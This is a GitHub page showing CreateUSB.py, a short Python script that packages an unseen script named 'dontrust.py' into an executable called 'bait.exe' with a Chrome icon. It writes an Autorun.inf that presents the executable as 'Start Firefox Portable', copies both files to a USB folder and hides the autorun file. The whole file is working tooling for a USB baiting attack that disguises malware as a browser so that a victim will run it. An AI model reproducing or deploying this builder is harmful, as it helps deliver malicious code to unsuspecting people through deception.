-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathCreateUSB.py
More file actions
51 lines (41 loc) · 1.11 KB
/
Copy pathCreateUSB.py
File metadata and controls
51 lines (41 loc) · 1.11 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import PyInstaller.__main__
import shutil
import os
filename = "dontrust.py"
exename = "bait.exe"
icon = "Chrome.ico"
pwd = os.getcwd()
usbdir = os.path.join(pwd,"USB")
if os.path.isfile(exename):
os.remove(exename)
print("Creating EXE")
#create executable frompython script
PyInstaller.__main__.run([
"dontrust.py",
"--onefile",
"--clean",
"--log-level=ERROR",
"--name="+exename,
"--icon="+icon
])
print("EXE Created")
#clean up after pyinstaller
shutil.move(os.path.join(pwd,"dist",exename),pwd)
shutil.rmtree("dist")
shutil.rmtree("build")
shutil.rmtree("__pycache__")
os.remove(exename+".spec")
print("Creating Autorun File")
#create autorun file
with open("Autorun.inf","w") as o:
o.write("(Autorun)\n")
o.write("Open="+exename+"\n")
o.write("Action=Start Firefox Portable\n")
o.write("Label=My USB\n")
o.write("Icon="+exename+"\n")
print("Setting up USB")
#move files to USB and set to hidden
shutil.move(exename,usbdir)
shutil.move("Autorun.inf",usbdir)
print("attrib +h "+os.path.join(usbdir,"Autorun.inf"))
os.system("attrib +h "+os.path.join(usbdir,"Autorun.inf"))